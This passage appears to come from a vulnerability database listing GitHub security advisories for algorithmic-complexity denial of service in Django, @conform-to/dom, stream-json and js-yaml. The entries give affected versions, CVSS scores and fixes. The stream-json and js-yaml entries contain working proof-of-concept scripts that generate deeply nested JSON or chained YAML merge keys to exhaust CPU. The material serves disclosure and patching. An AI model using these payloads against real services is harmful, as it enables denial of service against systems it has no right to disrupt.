    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/wiki/CVE-2026-58059"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Amber",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-4RRR-2H4V-F3J9

Vulnerability from github – Published: 2026-02-03 15:30 – Updated: 2026-06-05 16:24
VLAI
Summary
Django has Inefficient Algorithmic Complexity
Details

An issue was discovered in 6.0 before 6.0.2, 5.2 before 5.2.11, and 4.2 before 4.2.28.

django.utils.text.Truncator.chars() and Truncator.words() methods (with html=True) and the truncatechars_html and truncatewords_html template filters allow a remote attacker to cause a potential denial-of-service via crafted inputs containing a large number of unmatched HTML end tags. Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected.

Django would like to thank Seokchan Yoon for reporting this issue.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "Django"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0a1"
            },
            {
              "fixed": "6.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "Django"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.2a1"
            },
            {
              "fixed": "5.2.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "Django"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2a1"
            },
            {
              "fixed": "4.2.28"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-1285"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-03T19:31:15Z",
    "nvd_published_at": "2026-02-03T15:16:13Z",
    "severity": "LOW"
  },
  "details": "An issue was discovered in 6.0 before 6.0.2, 5.2 before 5.2.11, and 4.2 before 4.2.28.\n\n`django.utils.text.Truncator.chars()` and `Truncator.words()` methods (with `html=True`) and the `truncatechars_html` and `truncatewords_html` template filters allow a remote attacker to cause a potential denial-of-service via crafted inputs containing a large number of unmatched HTML end tags. Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected.\n\nDjango would like to thank Seokchan Yoon for reporting this issue.",
  "id": "GHSA-4rrr-2h4v-f3j9",
  "modified": "2026-06-05T16:24:26Z",
  "published": "2026-02-03T15:30:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1285"
    },
    {
      "type": "WEB",
      "url": "https://github.com/django/django/commit/a33540b3e20b5d759aa8b2e4b9ca0e8edd285344"
    },
    {
      "type": "WEB",
      "url": "https://docs.djangoproject.com/en/dev/releases/security"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/django/django"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/django/PYSEC-2026-45.yaml"
    },
    {
      "type": "WEB",
      "url": "https://groups.google.com/g/django-announce"
    },
    {
      "type": "WEB",
      "url": "https://www.djangoproject.com/weblog/2026/feb/03/security-releases"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Django has Inefficient Algorithmic Complexity"
}

GHSA-525M-7F82-2MF7

Vulnerability from github – Published: 2026-07-02 19:18 – Updated: 2026-07-02 19:18
VLAI
Summary
@conform-to/dom parseSubmission vulnerable to CPU exhaustion when parsing many unique form fields
Details

A CPU exhaustion vulnerability exists in Conform's parseSubmission future API when parsing FormData or URLSearchParams submissions with many unique field names. The parser previously looked up values by field name, which could require repeated scans of the submitted entries and cause excessive synchronous CPU work if an attacker supplies a crafted submission.

[!NOTE] The patched version fixes this by iterating submitted entries directly instead of repeatedly looking up values by field name. Applications that accept untrusted form submissions should still enforce request parsing limits before passing data to Conform. For multipart requests, @remix-run/form-data-parser provides maxParts, maxTotalSize, maxFileSize, maxFiles, and maxHeaderSize options.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@conform-to/dom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.8.0"
            },
            {
              "fixed": "1.19.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-49250"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-02T19:18:41Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "A CPU exhaustion vulnerability exists in Conform\u0027s [`parseSubmission`](https://conform.guide/api/react/future/parseSubmission) future API when parsing `FormData` or `URLSearchParams` submissions with many unique field names. The parser previously looked up values by field name, which could require repeated scans of the submitted entries and cause excessive synchronous CPU work if an attacker supplies a crafted submission.\n\n\u003e [!NOTE]\n\u003e The patched version fixes this by iterating submitted entries directly instead of repeatedly looking up values by field name. Applications that accept untrusted form submissions should still enforce request parsing limits before passing data to Conform. For multipart requests, [@remix-run/form-data-parser](https://www.npmjs.com/package/@remix-run/form-data-parser) provides `maxParts`, `maxTotalSize`, `maxFileSize`, `maxFiles`, and `maxHeaderSize` options.",
  "id": "GHSA-525m-7f82-2mf7",
  "modified": "2026-07-02T19:18:41Z",
  "published": "2026-07-02T19:18:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/edmundhung/conform/security/advisories/GHSA-525m-7f82-2mf7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/edmundhung/conform"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "@conform-to/dom parseSubmission vulnerable to CPU exhaustion when parsing many unique form fields"
}

GHSA-528H-PC64-C93X

Vulnerability from github – Published: 2026-09-03 20:27 – Updated: 2026-09-03 20:27
VLAI
Summary
stream-json: pick/ignore/filter/replace filters are O(depth²) on nested input — small crafted JSON blocks the event loop for seconds→minutes (DoS)
Details

Description

The path filters pick, ignore, filter, and replace — the library's headline "surgical extraction" feature — recompute the full path string from the nesting stack on every checkable token. Because the stack length equals the current nesting depth, and a checkable token is emitted at every level, processing a document of depth D costs O(D²), not O(D).

This is triggered by document structure (nesting depth), not byte volume, so a tiny payload achieves outsized CPU cost, and it is the ordinary "traverse until the filter matches" path — including the exact README flagship example pick({filter: 'data'}). Any service that uses these filters to extract a field from an untrusted (or larger-than-memory) JSON body — the primary documented use case — can be made to block its event loop.

Affected code (v3.4.0)

src/core/filters/filter-base.js:

// L26-32 — string filter: rejoins the ENTIRE stack on every call
const stringFilter = (string, separator) => {
  const stringWithSeparator = string + separator;
  return stack => {
    const path = stack.join(separator);              // O(depth) — every call
    return path === string || path.startsWith(stringWithSeparator);
  };
};

// L34-39 — regexp filter: same
const regExpFilter = (regExp, separator) => {
  return stack => {
    regExp.lastIndex = 0;
    return regExp.test(stack.join(separator));       // O(depth) — every call
  };
};
// L194 — filter(stack, chunk) is invoked for EVERY checkable token while in the 'check' state
const action = checkableTokens[chunk.name] !== 1 ? nonCheckableAction : filter(stack, chunk) ? specialAction : defaultAction;

stack is pushed/popped on startObject/startArray/end (L239-250), so stack.length === depth. For a depth-D document that hasn't matched yet, filter() runs once per level and each call is O(depth) ⇒ O(D²) total.

Not affected: the streamArray/streamObject/streamValues streamers use asm.depth (an O(1) getter), so they don't exhibit this. The issue is specific to filter-base.js recomputing the path string.

Proof of concept

npm i stream-json@3.4.0
node poc-quadratic-dos.mjs
import parserStream from 'stream-json';
import { pick } from 'stream-json/filters/pick.js';
import chain from 'stream-chain';

function run(D) {
  const doc = '{"meta":'.repeat(D) + '1' + '}'.repeat(D); // depth D, never matches "data"
  return new Promise((resolve) => {
    const t0 = process.hrtime.bigint();
    const pipeline = chain([parserStream(), pick({ filter: 'data' })]);
    pipeline.on('data', () => {});
    pipeline.on('end', () => resolve({ D, bytes: doc.length, ms: Number(process.hrtime.bigint() - t0) / 1e6 }));
    pipeline.write(doc); pipeline.end();
  });
}
for (const D of [5000, 10000, 20000, 40000]) {
  const r = await run(D);
  console.log(`D=${r.D}  bytes=${r.bytes}  ms=${Math.round(r.ms)}`);
}

Measured (Node v24, single core, clean npm i stream-json@3.4.0):

D=5000    bytes= 45001   ms=  160
D=10000   bytes= 90001   ms=  603   (3.8x for 2x input  -> quadratic)
D=20000   bytes=180001   ms= 2511   (4.2x)
D=40000   bytes=360001   ms=11823   (4.7x)

A ~360 KB body (pure nesting, no data) blocks the event loop for ~12 seconds; extrapolating O(D²), ~1–2 MB reaches single-digit minutes of CPU on one request.

Impact

Remote, unauthenticated denial of service against any application that runs untrusted JSON through pick/ignore/filter/replace with a string or RegExp filter — the documented primary use of the library. A small request pins a CPU core / blocks the Node event loop, degrading or halting the service.

Suggested fix

Maintain the joined path incrementally instead of rejoining the whole stack per token: - On startObject/startArray push: append separator + key to a cached path string (and remember the pre-push length). - On end/pop: truncate the cached path back to the remembered length. - Filters test/startsWith against the cached string — O(1) amortized per token, making the whole traversal O(D).

Alternatively expose/enforce a maximum nesting depth for the filter path check.

Resolution

Fixed in 3.5.0. The path filters now cap JSON nesting depth at 1024 by default and throw a RangeError beyond it; upgrading is enough. Opt out with maxDepth: Infinity.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.4.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "stream-json"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.5.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-71429"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-03T20:27:53Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Description\n\nThe path filters `pick`, `ignore`, `filter`, and `replace` \u2014 the library\u0027s headline \"surgical extraction\" feature \u2014 recompute the full path string from the nesting stack on **every checkable token**. Because the stack length equals the current nesting depth, and a checkable token is emitted at every level, processing a document of depth *D* costs **O(D\u00b2)**, not O(D).\n\nThis is triggered by document **structure (nesting depth), not byte volume**, so a tiny payload achieves outsized CPU cost, and it is the ordinary \"traverse until the filter matches\" path \u2014 including the exact README flagship example `pick({filter: \u0027data\u0027})`. Any service that uses these filters to extract a field from an untrusted (or larger-than-memory) JSON body \u2014 the primary documented use case \u2014 can be made to block its event loop.\n\n### Affected code (v3.4.0)\n\n`src/core/filters/filter-base.js`:\n\n```js\n// L26-32 \u2014 string filter: rejoins the ENTIRE stack on every call\nconst stringFilter = (string, separator) =\u003e {\n  const stringWithSeparator = string + separator;\n  return stack =\u003e {\n    const path = stack.join(separator);              // O(depth) \u2014 every call\n    return path === string || path.startsWith(stringWithSeparator);\n  };\n};\n\n// L34-39 \u2014 regexp filter: same\nconst regExpFilter = (regExp, separator) =\u003e {\n  return stack =\u003e {\n    regExp.lastIndex = 0;\n    return regExp.test(stack.join(separator));       // O(depth) \u2014 every call\n  };\n};\n```\n\n```js\n// L194 \u2014 filter(stack, chunk) is invoked for EVERY checkable token while in the \u0027check\u0027 state\nconst action = checkableTokens[chunk.name] !== 1 ? nonCheckableAction : filter(stack, chunk) ? specialAction : defaultAction;\n```\n\n`stack` is pushed/popped on `startObject`/`startArray`/end (L239-250), so `stack.length === depth`. For a depth-*D* document that hasn\u0027t matched yet, `filter()` runs once per level and each call is O(depth) \u21d2 **O(D\u00b2)** total.\n\n**Not affected:** the `streamArray`/`streamObject`/`streamValues` streamers use `asm.depth` (an O(1) getter), so they don\u0027t exhibit this. The issue is specific to `filter-base.js` recomputing the path string.\n\n## Proof of concept\n\n```\nnpm i stream-json@3.4.0\nnode poc-quadratic-dos.mjs\n```\n\n```js\nimport parserStream from \u0027stream-json\u0027;\nimport { pick } from \u0027stream-json/filters/pick.js\u0027;\nimport chain from \u0027stream-chain\u0027;\n\nfunction run(D) {\n  const doc = \u0027{\"meta\":\u0027.repeat(D) + \u00271\u0027 + \u0027}\u0027.repeat(D); // depth D, never matches \"data\"\n  return new Promise((resolve) =\u003e {\n    const t0 = process.hrtime.bigint();\n    const pipeline = chain([parserStream(), pick({ filter: \u0027data\u0027 })]);\n    pipeline.on(\u0027data\u0027, () =\u003e {});\n    pipeline.on(\u0027end\u0027, () =\u003e resolve({ D, bytes: doc.length, ms: Number(process.hrtime.bigint() - t0) / 1e6 }));\n    pipeline.write(doc); pipeline.end();\n  });\n}\nfor (const D of [5000, 10000, 20000, 40000]) {\n  const r = await run(D);\n  console.log(`D=${r.D}  bytes=${r.bytes}  ms=${Math.round(r.ms)}`);\n}\n```\n\nMeasured (Node v24, single core, clean `npm i stream-json@3.4.0`):\n\n```\nD=5000    bytes= 45001   ms=  160\nD=10000   bytes= 90001   ms=  603   (3.8x for 2x input  -\u003e quadratic)\nD=20000   bytes=180001   ms= 2511   (4.2x)\nD=40000   bytes=360001   ms=11823   (4.7x)\n```\n\nA **~360 KB** body (pure nesting, no data) blocks the event loop for **~12 seconds**; extrapolating O(D\u00b2), ~1\u20132 MB reaches single-digit minutes of CPU on one request.\n\n## Impact\n\nRemote, unauthenticated denial of service against any application that runs untrusted JSON through `pick`/`ignore`/`filter`/`replace` with a string or RegExp filter \u2014 the documented primary use of the library. A small request pins a CPU core / blocks the Node event loop, degrading or halting the service.\n\n## Suggested fix\n\nMaintain the joined path incrementally instead of rejoining the whole stack per token:\n- On `startObject`/`startArray` push: append `separator + key` to a cached path string (and remember the pre-push length).\n- On end/pop: truncate the cached path back to the remembered length.\n- Filters test/`startsWith` against the cached string \u2014 O(1) amortized per token, making the whole traversal O(D).\n\nAlternatively expose/enforce a maximum nesting depth for the filter path check.\n\n## Resolution\n\nFixed in 3.5.0. The path filters now cap JSON nesting depth at 1024 by default and throw a RangeError beyond it; upgrading is enough. Opt out with `maxDepth: Infinity`.",
  "id": "GHSA-528h-pc64-c93x",
  "modified": "2026-09-03T20:27:53Z",
  "published": "2026-09-03T20:27:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/uhop/stream-json/security/advisories/GHSA-528h-pc64-c93x"
    },
    {
      "type": "WEB",
      "url": "https://github.com/uhop/stream-json/commit/a869fb98aaef9225556f49901a8f55954ff856e6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/uhop/stream-json"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "stream-json: pick/ignore/filter/replace filters are O(depth\u00b2) on nested input \u2014 small crafted JSON blocks the event loop for seconds\u2192minutes (DoS)"
}

GHSA-52CP-R559-CP3M

Vulnerability from github – Published: 2026-07-20 21:19 – Updated: 2026-07-20 21:19
VLAI
Summary
js-yaml: YAML merge-key chains can force quadratic CPU consumption
Details

Impact

js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:

a0: &a0 { k0: 0 }
a1: &a1 { <<: *a0, k1: 1 }
a2: &a2 { <<: *a1, k2: 2 }
a3: &a3 { <<: *a2, k3: 3 }
...
b: *aN

For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.

PoC

From N = 4000 delay become > 1s (doc size < 100K)

import { performance } from 'node:perf_hooks'
import { Buffer } from 'node:buffer'
import { load, YAML11_SCHEMA } from 'js-yaml'

const n = Number(process.argv[2] || 4000)

function makeMergeChain (count) {
  const lines = ['a0: &a0 { k0: 0 }']

  for (let i = 1; i < count; i++) {
    lines.push(`a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} }`)
  }

  lines.push(`b: *a${count - 1}`)
  return `${lines.join('\n')}\n`
}

const source = makeMergeChain(n)

console.log(source.split('\n').slice(0, 8).join('\n'))
console.log('...')
console.log(source.split('\n').slice(-4).join('\n'))
console.log()
console.log(`N: ${n}`)
console.log(`YAML size: ${Buffer.byteLength(source)} bytes`)

const started = performance.now()
const result = load(source, { schema: YAML11_SCHEMA })
const elapsed = performance.now() - started

console.log(`parse time: ${elapsed.toFixed(1)} ms`)
console.log(`top-level keys: ${Object.keys(result).length}`)
console.log(`b keys: ${Object.keys(result.b).length}`)

Patches

Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "js-yaml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "js-yaml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59869"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T21:19:09Z",
    "nvd_published_at": "2026-07-08T16:16:33Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\njs-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:\n\n```yaml\na0: \u0026a0 { k0: 0 }\na1: \u0026a1 { \u003c\u003c: *a0, k1: 1 }\na2: \u0026a2 { \u003c\u003c: *a1, k2: 2 }\na3: \u0026a3 { \u003c\u003c: *a2, k3: 3 }\n...\nb: *aN\n```\n\nFor each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.\n\n### PoC\n\nFrom N = 4000 delay become \u003e 1s (doc size \u003c 100K)\n\n```js\nimport { performance } from \u0027node:perf_hooks\u0027\nimport { Buffer } from \u0027node:buffer\u0027\nimport { load, YAML11_SCHEMA } from \u0027js-yaml\u0027\n\nconst n = Number(process.argv[2] || 4000)\n\nfunction makeMergeChain (count) {\n  const lines = [\u0027a0: \u0026a0 { k0: 0 }\u0027]\n\n  for (let i = 1; i \u003c count; i++) {\n    lines.push(`a${i}: \u0026a${i} { \u003c\u003c: *a${i - 1}, k${i}: ${i} }`)\n  }\n\n  lines.push(`b: *a${count - 1}`)\n  return `${lines.join(\u0027\\n\u0027)}\\n`\n}\n\nconst source = makeMergeChain(n)\n\nconsole.log(source.split(\u0027\\n\u0027).slice(0, 8).join(\u0027\\n\u0027))\nconsole.log(\u0027...\u0027)\nconsole.log(source.split(\u0027\\n\u0027).slice(-4).join(\u0027\\n\u0027))\nconsole.log()\nconsole.log(`N: ${n}`)\nconsole.log(`YAML size: ${Buffer.byteLength(source)} bytes`)\n\nconst started = performance.now()\nconst result = load(source, { schema: YAML11_SCHEMA })\nconst elapsed = performance.now() - started\n\nconsole.log(`parse time: ${elapsed.toFixed(1)} ms`)\nconsole.log(`top-level keys: ${Object.keys(result).length}`)\nconsole.log(`b keys: ${Object.keys(result.b).length}`)\n```\n\n### Patches\n\nFix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.",
  "id": "GHSA-52cp-r559-cp3m",
  "modified": "2026-07-20T21:19:10Z",
  "published": "2026-07-20T21:19:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nodeca/js-yaml/security/advisories/GHSA-52cp-r559-cp3m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59869"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodeca/js-yaml/commit/24f13e79ee1343a7e30bd6f6c9d9cdbf0ac9b2b7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodeca/js-yaml/commit/59423c6f8cdc78742ac00e25a4dd39ef16b702e4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nodeca/js-yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodeca/js-yaml/releases/tag/3.15.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodeca/js-yaml/releases/tag/4.3.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "js-yaml: YAML merge-key chains can force quadratic CPU consumption"
}

No mitigation information available for this CWE.

No CAPEC attack patterns related to this CWE.